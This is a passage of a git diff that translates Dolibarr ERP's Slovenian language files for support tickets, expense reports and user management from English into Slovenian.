'Opuščeno' +ConfirmDeleteTicket=Prosimo, potrdite brisanje zahtevka +TicketDeletedSuccess=Zahtevek je uspešno izbrisan +TicketMarkedAsClosed=Zahtevek je označen kot zaprt +TicketDurationAuto=Izračunano trajanje +TicketDurationAutoInfos=Samodejno izračunano trajanje na podlagi intervencije +TicketUpdated=Zahtevek posodobljen +SendMessageByEmail=Pošlji sporočilo po e-pošti +TicketNewMessage=Novo sporočilo +ErrorMailRecipientIsEmptyForSendTicketMessage=Prejemnik je prazen. Brez pošiljanja e-pošte +TicketGoIntoContactTab=Pojdite na zavihek "Stiki", da jih izberete +TicketMessageMailIntro=Glava sporočila +TicketMessageMailIntroHelp=To besedilo je dodano samo na začetku e-pošte in ne bo shranjeno. +TicketMessageMailIntroText=Pozdravljeni,
      zahtevkom, ki jih spremljate, je bil dodan nov odgovor. Tukaj je sporočilo:
      +TicketMessageMailIntroHelpAdmin=To besedilo bo vstavljeno pred odgovor, ko odgovarjate na zahtevke +TicketMessageMailFooter=Noga sporočila +TicketMessageMailFooterHelp=To besedilo je dodano samo na koncu sporočila, poslanega po e-pošti, in ne bo shranjeno. +TicketMessageMailFooterText=Sporočilo poslal %s prek Dolibarr +TicketMessageMailFooterHelpAdmin=To besedilo bo vstavljeno za odgovornim sporočilom. +TicketMessageHelp=Samo to besedilo bo shranjeno na seznamu sporočil na kartici zahtevka. +TicketMessageSubstitutionReplacedByGenericValues=Nadomestne spremenljivke so nadomeščene z generičnimi vrednostmi. +ForEmailMessageWillBeCompletedWith=Za e-poštna sporočila, poslana zunanjim uporabnikom, bo sporočilo dopolnjeno z +TimeElapsedSince=Čas je pretekel od +TicketTimeToRead=Čas, ki je pretekel pred branjem +TicketTimeElapsedBeforeSince=Čas, ki je pretekel pred / od +TicketContacts=Zahtek stikov +TicketDocumentsLinked=Dokumenti, povezani z zahtevkom +ConfirmReOpenTicket=Potrjujem ponovno odpiranje zahtevka? +TicketMessageMailIntroAutoNewPublicMessage=Na zahtevku je bilo objavljeno novo sporočilo z zadevo %s: +TicketAssignedToYou=Zahtevek dodeljen +TicketAssignedEmailBody=%s vam je dodelil zahtevek #%s +MarkMessageAsPrivate=Označi sporočilo kot zasebno +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) +TicketMessagePrivateHelp=To sporočilo ne bo prikazano zunanjim uporabnikom +TicketEmailOriginIssuer=Izdajatelj originalnega zahtevka +InitialMessage=Začetno sporočilo +LinkToAContract=Povezava do pogodbe +TicketPleaseSelectAContract=Izberite pogodbo +UnableToCreateInterIfNoSocid=Ni mogoče ustvariti posega, če ni definiran partner +TicketMailExchanges=Izmenjave pošte +TicketInitialMessageModified=Začetno sporočilo spremenjeno +TicketMessageSuccesfullyUpdated=Sporočilo je bilo uspešno posodobljeno +TicketChangeStatus=Spremeni status +TicketConfirmChangeStatus=Potrdite spremembo stanja: %s ? +TicketLogStatusChanged=Status spremenjen: %s v %s +TicketNotNotifyTiersAtCreate=Ne obvesti podjetja ob ustvarjanju +NotifyThirdpartyOnTicketClosing=Stiki za obveščanje med zapiranjem zahtevka +TicketNotifyAllTiersAtClose=Vsi povezani stiki +TicketNotNotifyTiersAtClose=Ni povezanega stika +Unread=Neprebrano +TicketNotCreatedFromPublicInterface=Ni na voljo. Zahtevek ni bil ustvarjen iz javnega vmesnika. +ErrorTicketRefRequired=Zahtevana je referenca zahtevka +TicketsDelayForFirstResponseTooLong=Preveč časa je preteklo od odprtja zahtevka brez nobenega odgovora. +TicketsDelayFromLastResponseTooLong=Od zadnjega odgovora na tej kartici je preteklo preveč časa. +TicketNoContractFoundToLink=Najdena ni bila nobena pogodba, ki bi bila samodejno povezana z zahtevkom. Prosimo, da ročno povežete pogodbo. +TicketManyContractsLinked=Številne pogodbe so bile samodejno povezane z zahtevkom. Prepričajte se, kateri bi morali izbrati. # # Logs # -TicketLogMesgReadBy=Ticket %s read by %s -NoLogForThisTicket=No log for this ticket yet -TicketLogAssignedTo=Ticket %s assigned to %s -TicketLogPropertyChanged=Ticket %s modified: classification from %s to %s -TicketLogClosedBy=Ticket %s closed by %s -TicketLogReopen=Ticket %s re-open +TicketLogMesgReadBy=Zahtevek %s je prebral %s +NoLogForThisTicket=Za zahtevek še ni dnevnika +TicketLogAssignedTo=Zahtevek %s je dodeljen %s +TicketLogPropertyChanged=Zahtevek %s spremenjen: razvrstitev iz %s v %s +TicketLogClosedBy=Zahtevek %s je zaprl %s +TicketLogReopen=Zahtevek %s je ponovno odprt # # Public pages # -TicketSystem=Ticket system -ShowListTicketWithTrackId=Display ticket list from track ID -ShowTicketWithTrackId=Display ticket from track ID -TicketPublicDesc=You can create a support ticket or check from an existing ID. -YourTicketSuccessfullySaved=Ticket has been successfully saved! -MesgInfosPublicTicketCreatedWithTrackId=A new ticket has been created with ID %s and Ref %s. -PleaseRememberThisId=Please keep the tracking number that we might ask you later. -TicketNewEmailSubject=Ticket creation confirmation - Ref %s (public ticket ID %s) -TicketNewEmailSubjectCustomer=New support ticket -TicketNewEmailBody=This is an automatic email to confirm you have registered a new ticket. -TicketNewEmailBodyCustomer=This is an automatic email to confirm a new ticket has just been created into your account. -TicketNewEmailBodyInfosTicket=Information for monitoring the ticket -TicketNewEmailBodyInfosTrackId=Ticket tracking number: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the link above. -TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket in the specific interface by clicking the following link -TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. -TicketPublicInfoCreateTicket=This form allows you to record a support ticket in our management system. -TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe the problem. Provide the most information possible to allow us to correctly identify your request. -TicketPublicMsgViewLogIn=Please enter ticket tracking ID -TicketTrackId=Public Tracking ID -OneOfTicketTrackId=One of your tracking ID -ErrorTicketNotFound=Ticket with tracking ID %s not found! +TicketSystem=Sistem zahtevkov +ShowListTicketWithTrackId=Prikaži seznam zahtevkov na podlagi ID +ShowTicketWithTrackId=Prikaži zahtevek na podlagi ID +TicketPublicDesc=Ustvarite lahko zahtevek za podporo ali preverite iz obstoječega ID-ja. +YourTicketSuccessfullySaved=Zahtevek je uspešno shranjen! +MesgInfosPublicTicketCreatedWithTrackId=Nov zahtevek je bila ustvarjen z ID-jem %s in Ref %s. +PleaseRememberThisId=Prosimo, shranite sledilno številko, ki jo bomo morda zahtevali pozneje. +TicketNewEmailSubject=Potrditev ustvarjanja zahtevka - Ref %s (javni ID zahtevka %s) +TicketNewEmailSubjectCustomer=Nov zahtevek za podporo +TicketNewEmailBody=To je samodejno e-poštno sporočilo za potrditev, da ste registrirali nov zahtevek. +TicketNewEmailBodyCustomer=To je samodejno e-poštno sporočilo za potrditev, da je bil nov zahtevek pravkar ustvarjen v vašem računu. +TicketNewEmailBodyInfosTicket=Informacije za spremljanje zahtevka +TicketNewEmailBodyInfosTrackId=Sledilna številka zahtevka: %s +TicketNewEmailBodyInfosTrackUrl=Zahtevek si lahko spremljate s klikom na naslednji povezavi +TicketNewEmailBodyInfosTrackUrlCustomer=Zahtevek si lahko ogledate v posebnem vmesniku s klikom na naslednjo povezavo +TicketCloseEmailBodyInfosTrackUrlCustomer=Zgodovino zahtevka si lahko ogledate s klikom na naslednjo povezavo +TicketEmailPleaseDoNotReplyToThisEmail=Prosimo, ne odgovarjajte neposredno na to e-pošto! Uporabite povezavo za odgovor v vmesniku. +TicketPublicInfoCreateTicket=Ta obrazec vam omogoča, da v našem sistemu upravljanja zabeležite zahtevek za podporo. +TicketPublicPleaseBeAccuratelyDescribe=Prosimo, natančno opišite svoje vprašanje. Navedite največ možnih informacij, da bomo lahko pravilno prepoznali vašo zahtevo. +TicketPublicMsgViewLogIn=Vnesite ID za sledenje zahtevku +TicketTrackId=Javni ID za sledenje +OneOfTicketTrackId=Eden od vaših ID-jev za sledenje +ErrorTicketNotFound=Zahtevka z ID-jem za sledenje %s ni mogoče najti! Subject=Predmet -ViewTicket=View ticket -ViewMyTicketList=View my ticket list -ErrorEmailMustExistToCreateTicket=Error: email address not found in our database -TicketNewEmailSubjectAdmin=New ticket created - Ref %s (public ticket ID %s) -TicketNewEmailBodyAdmin=

      Ticket has just been created with ID #%s, see information:

      -SeeThisTicketIntomanagementInterface=See ticket in management interface -TicketPublicInterfaceForbidden=The public interface for the tickets was not enabled -ErrorEmailOrTrackingInvalid=Bad value for tracking ID or email -OldUser=Old user +ViewTicket=Ogled zahtevka +ViewMyTicketList=Oglejte si moj seznam zahtevkov +ErrorEmailMustExistToCreateTicket=Napaka: e-poštnega naslova ni bilo mogoče najti v naši bazi podatkov +TicketNewEmailSubjectAdmin=Nov zahtevek je ustvarjen - Ref %s (javni ID zahtevka %s) +TicketNewEmailBodyAdmin=

      Zahtevek je bila pravkar ustvarjen z ID #%s, glejte informacije:

      +SeeThisTicketIntomanagementInterface=Oglejte si zahtevek v vmesniku za upravljanje +TicketPublicInterfaceForbidden=Javni vmesnik za zahtevke ni omogočen +ErrorEmailOrTrackingInvalid=Nepravilna vrednost za ID ali e-pošto za sledenje +OldUser=Stari uporabnik NewUser=Nov uporabnik -NumberOfTicketsByMonth=Number of tickets per month -NbOfTickets=Number of tickets +NumberOfTicketsByMonth=Število zahtevkov na mesec +NbOfTickets=Število zahtevkov # notifications -TicketNotificationEmailSubject=Ticket %s updated -TicketNotificationEmailBody=This is an automatic message to notify you that ticket %s has just been updated -TicketNotificationRecipient=Notification recipient -TicketNotificationLogMessage=Log message -TicketNotificationEmailBodyInfosTrackUrlinternal=View ticket into interface -TicketNotificationNumberEmailSent=Notification email sent: %s +TicketCloseEmailSubjectCustomer=Zahtevek zaprt +TicketCloseEmailBodyCustomer=To je samodejno sporočilo, ki vas obvešča, da je bil zahtevek%s pravkar zaprt. +TicketCloseEmailSubjectAdmin=Zahtevek zaprt - Réf %s (javni ID zahtevka %s) +TicketCloseEmailBodyAdmin=Zahtevek z ID #%s je bila pravkar zaprt, glejte informacije: +TicketNotificationEmailSubject=Zahtevek %s posodobljena +TicketNotificationEmailBody=To je samodejno sporočilo, ki vas obvešča, da je bil zahtevek%s pravkar posodobljen +TicketNotificationRecipient=Prejemnik obvestila +TicketNotificationLogMessage=Dnevnik sporočila +TicketNotificationEmailBodyInfosTrackUrlinternal=Oglejte si zahtevek v vmesniku +TicketNotificationNumberEmailSent=Poslano e-poštno obvestilo: %s -ActionsOnTicket=Events on ticket +ActionsOnTicket=Dogodki na zahtevku # # Boxes # -BoxLastTicket=Latest created tickets -BoxLastTicketDescription=Latest %s created tickets +BoxLastTicket=Zadnji ustvarjeni zahtevki +BoxLastTicketDescription=Najnovejših %s ustvarjenih zahtevkov BoxLastTicketContent= -BoxLastTicketNoRecordedTickets=No recent unread tickets -BoxLastModifiedTicket=Latest modified tickets -BoxLastModifiedTicketDescription=Latest %s modified tickets +BoxLastTicketNoRecordedTickets=Ni nedavnih neprebranih zahtevkov +BoxLastModifiedTicket=Zadnje spremenjeni zahtevki +BoxLastModifiedTicketDescription=Najnovejših %s spremenjenih zahtevkov BoxLastModifiedTicketContent= -BoxLastModifiedTicketNoRecordedTickets=No recent modified tickets -BoxTicketType=Distribution of open tickets by type -BoxTicketSeverity=Number of open tickets by severity -BoxNoTicketSeverity=No tickets opened -BoxTicketLastXDays=Number of new tickets by days the last %s days -BoxTicketLastXDayswidget = Number of new tickets by days the last X days -BoxNoTicketLastXDays=No new tickets the last %s days -BoxNumberOfTicketByDay=Number of new tickets by day -BoxNewTicketVSClose=Number of tickets versus closed tickets (today) -TicketCreatedToday=Ticket created today -TicketClosedToday=Ticket closed today -KMFoundForTicketGroup=We found topics and FAQs that may answers your question, thanks to check them before submitting the ticket +BoxLastModifiedTicketNoRecordedTickets=Ni nedavno spremenjenih zahtevkov +BoxTicketType=Seznam odprtih zahtev po vrsti +BoxTicketSeverity=Število odprtih zahtev glede na pomembnost +BoxNoTicketSeverity=Ni odprtih zahtev +BoxTicketLastXDays=Število novih zahtev po dnevih zadnjih %s dni +BoxTicketLastXDayswidget = Število novih zahtev po dnevih zadnjih X dni +BoxNoTicketLastXDays=V zadnjih %s dneh ni bilo novih zahtevkov +BoxNumberOfTicketByDay=Število novih zahtev po dnevih +BoxNewTicketVSClose=Število zahtev v primerjavi z zaprtimi zahtevki (danes) +TicketCreatedToday=Današnji prejeti zahtevki +TicketClosedToday=Današnji zaprti zahtevki +KMFoundForTicketGroup=Našli smo teme in pogosta vprašanja, ki lahko odgovorijo na vaše vprašanje, zato jih preverite, preden oddate zahtevo diff --git a/htdocs/langs/sl_SI/trips.lang b/htdocs/langs/sl_SI/trips.lang index 8b989e0ab57..45a474350f4 100644 --- a/htdocs/langs/sl_SI/trips.lang +++ b/htdocs/langs/sl_SI/trips.lang @@ -1,150 +1,152 @@ # Dolibarr language file - Source file is en_US - trips -ShowExpenseReport=Show expense report -Trips=Stroškovna poročila -TripsAndExpenses=Expenses reports -TripsAndExpensesStatistics=Expense reports statistics -TripCard=Expense report card -AddTrip=Create expense report -ListOfTrips=List of expense reports -ListOfFees=Seznam stroškov -TypeFees=Types of fees -ShowTrip=Show expense report -NewTrip=New expense report -LastExpenseReports=Latest %s expense reports -AllExpenseReports=All expense reports -CompanyVisited=Company/organization visited -FeesKilometersOrAmout=Količina kilometrov -DeleteTrip=Delete expense report -ConfirmDeleteTrip=Are you sure you want to delete this expense report? -ListTripsAndExpenses=List of expense reports -ListToApprove=Waiting for approval -ExpensesArea=Expense reports area +AUTHOR=Posnel +AUTHORPAIEMENT=Plačano s strani +AddTrip=Ustvari poročilo o stroških +AllExpenseReport=Vse vrste poročil o stroških +AllExpenseReports=Vsa poročila o stroških +AnyOtherInThisListCanValidate=Oseba, ki jo je treba obvestiti za potrditev zahteve. +AttachTheNewLineToTheDocument=Pripni vrstico naloženemu dokumentu +AucuneLigne=Ni še nobenega poročila o stroških +BrouillonnerTrip=Premakni nazaj poročilo o stroških v stanje »Osnutek« +byEX_DAY=dnevno (omejitev na %s) +byEX_EXP=po vrstici (omejitev na %s) +byEX_MON=po mesecih (omejitev na %s) +byEX_YEA=po letu (omejitev na %s) +CANCEL_USER=Izbrisal +CarCategory=Kategorija vozila ClassifyRefunded=Označi kot "Povrnjeno" -ExpenseReportWaitingForApproval=A new expense report has been submitted for approval -ExpenseReportWaitingForApprovalMessage=A new expense report has been submitted and is waiting for approval.
      - User: %s
      - Period: %s
      Click here to validate: %s -ExpenseReportWaitingForReApproval=An expense report has been submitted for re-approval -ExpenseReportWaitingForReApprovalMessage=An expense report has been submitted and is waiting for re-approval.
      The %s, you refused to approve the expense report for this reason: %s.
      A new version has been proposed and waiting for your approval.
      - User: %s
      - Period: %s
      Click here to validate: %s -ExpenseReportApproved=An expense report was approved -ExpenseReportApprovedMessage=The expense report %s was approved.
      - User: %s
      - Approved by: %s
      Click here to show the expense report: %s -ExpenseReportRefused=An expense report was refused -ExpenseReportRefusedMessage=The expense report %s was refused.
      - User: %s
      - Refused by: %s
      - Motive for refusal: %s
      Click here to show the expense report: %s -ExpenseReportCanceled=An expense report was canceled -ExpenseReportCanceledMessage=The expense report %s was canceled.
      - User: %s
      - Canceled by: %s
      - Motive for cancellation: %s
      Click here to show the expense report: %s -ExpenseReportPaid=An expense report was paid -ExpenseReportPaidMessage=The expense report %s was paid.
      - User: %s
      - Paid by: %s
      Click here to show the expense report: %s -TripId=Id expense report -AnyOtherInThisListCanValidate=Person to be informed for validating the request. -TripSociete=Information company -TripNDF=Informations expense report -PDFStandardExpenseReports=Standard template to generate a PDF document for expense report -ExpenseReportLine=Expense report line -TF_OTHER=Ostalo -TF_TRIP=Transportation +CompanyVisited=Obiskano podjetje/organizacija +ConfirmBrouillonnerTrip=Ali ste prepričani, da želite to poročilo o stroških premakniti v stanje »Osnutek«? +ConfirmCancelTrip=Ali ste prepričani, da želite preklicati to poročilo o stroških? +ConfirmCloneExpenseReport=Ali ste prepričani, da želite klonirati to poročilo o stroških? +ConfirmDeleteTrip=Ali ste prepričani, da želite izbrisati to poročilo o stroških? +ConfirmPaidTrip=Ali ste prepričani, da želite spremeniti status tega poročila o stroških v »Plačano«? +ConfirmRefuseTrip=Ali ste prepričani, da želite zavrniti to poročilo o stroških? +ConfirmSaveTrip=Ali ste prepričani, da želite potrditi to poročilo o stroških? +ConfirmValideTrip=Ali ste prepričani, da želite odobriti to poročilo o stroških? +DATE_CANCEL=Datum odpovedi +DATE_PAIEMENT=Datum plačila +DATE_REFUS=Zavrni datum +DATE_SAVE=Datum potrditve +DefaultCategoryCar=Privzeti način prevoza +DefaultRangeNumber=Privzeto število obsega +DeleteTrip=Izbriši poročilo o stroških +ErrorDoubleDeclaration=Prijavili ste drugo poročilo o stroških za podobno časovno obdobje. +Error_EXPENSEREPORT_ADDON_NotDefined=Napaka, pravilo za oštevilčenje poročila o stroških ref ni bilo definirano v nastavitvah modula 'Poročilo o stroških' +ExpenseRangeOffset=Znesek odmika: %s +expenseReportCatDisabled=Kategorija je onemogočena - glejte slovar c_exp_tax_cat +expenseReportCoef=Koeficient +expenseReportCoefUndefined=(vrednost ni definirana) +expenseReportOffset=Odmik +expenseReportPrintExample=odmik + (d x koef) = %s +expenseReportRangeDisabled=Obseg onemogočen - glejte slovar c_exp_tax_range +expenseReportRangeFromTo=od %d do %d +expenseReportRangeMoreThan=več kot %d +expenseReportTotalForFive=Primer z d = 5 +ExpenseReportApplyTo=Se nanaša na +ExpenseReportApproved=Potrjeno je bilo poročilo o stroških +ExpenseReportApprovedMessage=Potrjeno je bilo poročilo o stroških %s.
      - Uporabnik: %s
      - Odobril: %s
      Kliknite tukaj za prikaz poročila o stroških: %s +ExpenseReportCanceled=Poročilo o stroških je bilo preklicano +ExpenseReportCanceledMessage=Poročilo o stroških %s je bilo preklicano.
      - Uporabnik: %s
      - Preklical: %s
      - Razlog za preklic: %s
      Kliknite tukaj za prikaz poročila o stroškihfecz87f4b: a0ec +ExpenseReportConstraintViolationError=Največji znesek presežen (pravilo %s): %s je višji od %s (prekoračitev prepovedana) +ExpenseReportConstraintViolationWarning=Največji znesek presežen (pravilo %s): %s je višji od %s (dovoljena prekoračitev) +ExpenseReportDateEnd=Datum veljavnosti +ExpenseReportDateStart=Začetni datum +ExpenseReportDomain=Domena za prijavo +ExpenseReportIkDesc=Izračun stroškov za kilometre lahko spremenite po kategorijah in obsegih, ki so predhodno definirani. d je razdalja v kilometrih +ExpenseReportLimitAmount=Največji znesek +ExpenseReportLimitOn=Omejitev vklopljena +ExpenseReportLine=Vrstica poročila o stroških +ExpenseReportPaid=Poročilo o stroških je bilo plačano +ExpenseReportPaidMessage=Poročilo o stroških %s je bilo plačano.
      - Uporabnik: %s
      - Plačnik: %s
      Kliknite tukaj za prikaz poročila o stroških: %s +ExpenseReportPayment=Plačilo poročila o stroških +ExpenseReportRef=Ref. poročilo o izdatkih +ExpenseReportRefused=Poročilo o stroških je bilo zavrnjeno +ExpenseReportRefusedMessage=Poročilo o stroških %s je bilo zavrnjeno.
      - Uporabnik: %s
      - Zavrnil: %s
      - Razlog za zavrnitev: %s
      Kliknite tukaj za prikaz poročila o stroškihfecz87f4b: a0ec +ExpenseReportRestrictive=Prekoračitev prepovedana +ExpenseReportRuleErrorOnSave=Napaka: %s +ExpenseReportRuleSave=Pravilo za poročilo o stroških je shranjeno +ExpenseReportRulesDesc=Določite lahko pravila za največji znesek za poročila o stroških. Ta pravila bodo uporabljena, ko bo v poročilo o stroških dodan nov strošek +ExpenseReportWaitingForApproval=Novo poročilo o stroških je bilo predloženo v potrditev +ExpenseReportWaitingForApprovalMessage=Novo poročilo o stroških je bilo predloženo in čaka na odobritev.
      - Uporabnik: %s
      - Obdobje: %s
      Kliknite tukaj za potrditev: %s +ExpenseReportWaitingForReApproval=Poročilo o stroških je bilo predloženo v ponovno odobritev +ExpenseReportWaitingForReApprovalMessage=Poročilo o stroških je bilo predloženo in čaka na ponovno odobritev.
      %s, zavrnili ste odobritev poročila o stroških iz tega razloga: %s.
      Nova različica je bila predlagana in čaka na vašo odobritev.
      - Uporabnik: %s
      - Obdobje: %s
      Kliknite tukaj za potrditev: %s +ExpenseReportsIk=Konfiguracija zaračunavanja kilometrine +ExpenseReportsRules=Pravila za poročilo o stroških +ExpenseReportsToApprove=Poročila o stroških za odobritev +ExpenseReportsToPay=Poročila o stroških za plačilo +ExpensesArea=Področje za poročila o stroških +FeesKilometersOrAmout=Količina kilometrov +LastExpenseReports=Najnovejša %s poročila o stroških +ListOfFees=Seznam stroškov +ListOfTrips=Seznam poročil o stroških +ListToApprove=Čakam na odobritev +ListTripsAndExpenses=Seznam poročil o stroških +MOTIF_CANCEL=Razlog +MOTIF_REFUS=Razlog +ModePaiement=Način plačila +NewTrip=Novo poročilo o stroških +nolimitbyEX_DAY=dnevno (brez omejitev) +nolimitbyEX_EXP=po vrsticah (brez omejitev) +nolimitbyEX_MON=po mesecih (brez omejitev) +nolimitbyEX_YEA=po letih (brez omejitev) +NoTripsToExportCSV=Za to obdobje ni poročila o stroških za izvoz. +NOT_AUTHOR=Niste avtor tega poročila o stroških. Operacija preklicana. +OnExpense=Stroškovna linija +PDFStandardExpenseReports=Standardna predloga za ustvarjanje dokumenta PDF za poročilo o stroških +PaidTrip=Plačajte poročilo o stroških +REFUSEUR=Zavrnil +RangeIk=Razpon prevoženih kilometrov +RangeNum=Razpon %d +SaveTrip=Potrdite poročilo o stroških +ShowExpenseReport=Pokaži poročilo o stroških +ShowTrip=Pokaži poročilo o stroških +TripCard=Poročilo o stroških +TripId=Identifikacijsko poročilo o stroških +TripNDF=Poročilo o stroških informacij +TripSociete=Informacijsko podjetje +Trips=Stroškovna poročila +TripsAndExpenses=Poročila o stroških +TripsAndExpensesStatistics=Statistika poročil o stroških +TypeFees=Vrste pristojbin +UploadANewFileNow=Naložite nov dokument zdaj +VALIDATOR=Uporabnik odgovoren za odobritev +VALIDOR=Odobril +ValidateAndSubmit=Potrdite in predložite v odobritev +ValidatedWaitingApproval=Potrjeno (čaka na odobritev) +ValideTrip=Potrdite poročilo o stroških + +## Dictionary +EX_BRE=Zajtrk +EX_CAM=Vzdrževanje in popravilo CV +EX_CAM_VP=PV vzdrževanje in popravilo +EX_CAR=Najem avtomobila +EX_CUR=Stranke prejemajo +EX_DOC=Dokumentacija +EX_EMM=Obrok za zaposlene +EX_FUE=Gorivo CV +EX_FUE_VP=Gorivo PV +EX_GUM=Obrok za goste +EX_HOT=Hotel +EX_IND=Naročnina za odškodninski prevoz +EX_KME=Stroški kilometrine +EX_OTR=Drugo prejemanje +EX_PAR=CV parkiranja +EX_PAR_VP=Parkirišče PV +EX_POS=Poštnina +EX_SUM=Zaloga za vzdrževanje +EX_SUO=Pisarniški material +EX_TAX=Razni davki +EX_TOL=Toll CV +EX_TOL_VP=Cestnina PV +TF_BUS=Avtobus +TF_CAR=avto +TF_ESSENCE=Gorivo +TF_HOTEL=Hotel TF_LUNCH=Kosilo TF_METRO=Metro -TF_TRAIN=Train -TF_BUS=Bus -TF_CAR=Car -TF_PEAGE=Toll -TF_ESSENCE=Fuel -TF_HOTEL=Hotel -TF_TAXI=Taxi -EX_KME=Mileage costs -EX_FUE=Fuel CV -EX_HOT=Hotel -EX_PAR=Parking CV -EX_TOL=Toll CV -EX_TAX=Various Taxes -EX_IND=Indemnity transportation subscription -EX_SUM=Maintenance supply -EX_SUO=Office supplies -EX_CAR=Car rental -EX_DOC=Documentation -EX_CUR=Customers receiving -EX_OTR=Other receiving -EX_POS=Postage -EX_CAM=CV maintenance and repair -EX_EMM=Employees meal -EX_GUM=Guests meal -EX_BRE=Breakfast -EX_FUE_VP=Fuel PV -EX_TOL_VP=Toll PV -EX_PAR_VP=Parking PV -EX_CAM_VP=PV maintenance and repair -DefaultCategoryCar=Default transportation mode -DefaultRangeNumber=Default range number -UploadANewFileNow=Upload a new document now -Error_EXPENSEREPORT_ADDON_NotDefined=Error, the rule for expense report numbering ref was not defined into setup of module 'Expense Report' -ErrorDoubleDeclaration=You have declared another expense report into a similar date range. -AucuneLigne=There is no expense report declared yet -ModePaiement=Payment mode -VALIDATOR=User responsible for approval -VALIDOR=Odobril -AUTHOR=Recorded by -AUTHORPAIEMENT=Paid by -REFUSEUR=Denied by -CANCEL_USER=Deleted by -MOTIF_REFUS=Razlog -MOTIF_CANCEL=Razlog -DATE_REFUS=Deny date -DATE_SAVE=Datum potrditve -DATE_CANCEL=Cancelation date -DATE_PAIEMENT=Datum plačila -ExpenseReportRef=Ref. expense report -ValidateAndSubmit=Validate and submit for approval -ValidatedWaitingApproval=Validated (waiting for approval) -NOT_AUTHOR=You are not the author of this expense report. Operation cancelled. -ConfirmRefuseTrip=Are you sure you want to deny this expense report? -ValideTrip=Approve expense report -ConfirmValideTrip=Are you sure you want to approve this expense report? -PaidTrip=Pay an expense report -ConfirmPaidTrip=Are you sure you want to change status of this expense report to "Paid"? -ConfirmCancelTrip=Are you sure you want to cancel this expense report? -BrouillonnerTrip=Move back expense report to status "Draft" -ConfirmBrouillonnerTrip=Are you sure you want to move this expense report to status "Draft"? -SaveTrip=Validate expense report -ConfirmSaveTrip=Are you sure you want to validate this expense report? -NoTripsToExportCSV=No expense report to export for this period. -ExpenseReportPayment=Expense report payment -ExpenseReportsToApprove=Expense reports to approve -ExpenseReportsToPay=Expense reports to pay -ConfirmCloneExpenseReport=Are you sure you want to clone this expense report ? -ExpenseReportsIk=Configuration of mileage charges -ExpenseReportsRules=Expense report rules -ExpenseReportIkDesc=You can modify the calculation of kilometers expense by category and range who they are previously defined. d is the distance in kilometers -ExpenseReportRulesDesc=You can define max amount rules for expense reports. These rules will be applied when a new expense is added to an expense report -expenseReportOffset=Odmik -expenseReportCoef=Coefficient -expenseReportTotalForFive=Example with d = 5 -expenseReportRangeFromTo=from %d to %d -expenseReportRangeMoreThan=more than %d -expenseReportCoefUndefined=(value not defined) -expenseReportCatDisabled=Category disabled - see the c_exp_tax_cat dictionary -expenseReportRangeDisabled=Range disabled - see the c_exp_tax_range dictionay -expenseReportPrintExample=offset + (d x coef) = %s -ExpenseReportApplyTo=Apply to -ExpenseReportDomain=Domain to apply -ExpenseReportLimitOn=Limit on -ExpenseReportDateStart=Začetni datum -ExpenseReportDateEnd=Datum veljavnosti -ExpenseReportLimitAmount=Max amount -ExpenseReportRestrictive=Exceeding forbidden -AllExpenseReport=All type of expense report -OnExpense=Expense line -ExpenseReportRuleSave=Expense report rule saved -ExpenseReportRuleErrorOnSave=Error: %s -RangeNum=Range %d -ExpenseReportConstraintViolationError=Max amount exceeded (rule %s): %s is higher than %s (Exceeding forbidden) -byEX_DAY=by day (limitation to %s) -byEX_MON=by month (limitation to %s) -byEX_YEA=by year (limitation to %s) -byEX_EXP=by line (limitation to %s) -ExpenseReportConstraintViolationWarning=Max amount exceeded (rule %s): %s is higher than %s (Exceeding authorized) -nolimitbyEX_DAY=by day (no limitation) -nolimitbyEX_MON=by month (no limitation) -nolimitbyEX_YEA=by year (no limitation) -nolimitbyEX_EXP=by line (no limitation) -CarCategory=Vehicle category -ExpenseRangeOffset=Offset amount: %s -RangeIk=Mileage range -AttachTheNewLineToTheDocument=Attach the line to an uploaded document +TF_OTHER=Ostalo +TF_PEAGE=Cestnina +TF_TAXI=Taksi +TF_TRAIN=Vlak +TF_TRIP=Prevozništvo diff --git a/htdocs/langs/sl_SI/users.lang b/htdocs/langs/sl_SI/users.lang index 6d85331479c..734ae34fdd5 100644 --- a/htdocs/langs/sl_SI/users.lang +++ b/htdocs/langs/sl_SI/users.lang @@ -6,14 +6,14 @@ Permission=Dovoljenje Permissions=Dovoljenja EditPassword=Spremeni geslo SendNewPassword=Regeneriraj in pošlji geslo -SendNewPasswordLink=Send link to reset password +SendNewPasswordLink=Pošlji povezavo za ponastavitev gesla ReinitPassword=Regeneriraj geslo PasswordChangedTo=Geslo spremenjeno v: %s -SubjectNewPassword=Your new password for %s +SubjectNewPassword=Vaše novo geslo za %s GroupRights=Dovoljenja skupine UserRights=Dovoljenja uporabnika -Credentials=Credentials -UserGUISetup=User Display Setup +Credentials=Poverilnice +UserGUISetup=Nastavitev uporabniškega zaslona DisableUser=Onemogoči DisableAUser=Onemogoči DeleteUser=Izbriši @@ -21,12 +21,12 @@ DeleteAUser=Izbriši uporabnika EnableAUser=Omogoči uporabnika DeleteGroup=Izbriši DeleteAGroup=Izbriši skupino -ConfirmDisableUser=Are you sure you want to disable user %s? -ConfirmDeleteUser=Are you sure you want to delete user %s? -ConfirmDeleteGroup=Are you sure you want to delete group %s? -ConfirmEnableUser=Are you sure you want to enable user %s? -ConfirmReinitPassword=Are you sure you want to generate a new password for user %s? -ConfirmSendNewPassword=Are you sure you want to generate and send new password for user %s? +ConfirmDisableUser=Ali ste prepričani, da želite onemogočiti uporabnika %s ? +ConfirmDeleteUser=Ali ste prepričani, da želite izbrisati uporabnika %s ? +ConfirmDeleteGroup=Ali ste prepričani, da želite izbrisati skupino %s ? +ConfirmEnableUser=Ali ste prepričani, da želite omogočiti uporabnika %s ? +ConfirmReinitPassword=Ali ste prepričani, da želite ustvariti novo geslo za uporabnika %s ? +ConfirmSendNewPassword=Ali ste prepričani, da želite ustvariti in poslati novo geslo za uporabnika %s ? NewUser=Nov uporabnik CreateUser=Kreiraj uporabnika LoginNotDefined=Uporabniško ime ni določeno. @@ -35,8 +35,8 @@ ListOfUsers=Seznam uporabnikov SuperAdministrator=Super Administrator SuperAdministratorDesc=Administrator z vsemi pravicami AdministratorDesc=Administrator -DefaultRights=Default Permissions -DefaultRightsDesc=Define here the default permissions that are automatically granted to a new user (to modify permissions for existing users, go to the user card). 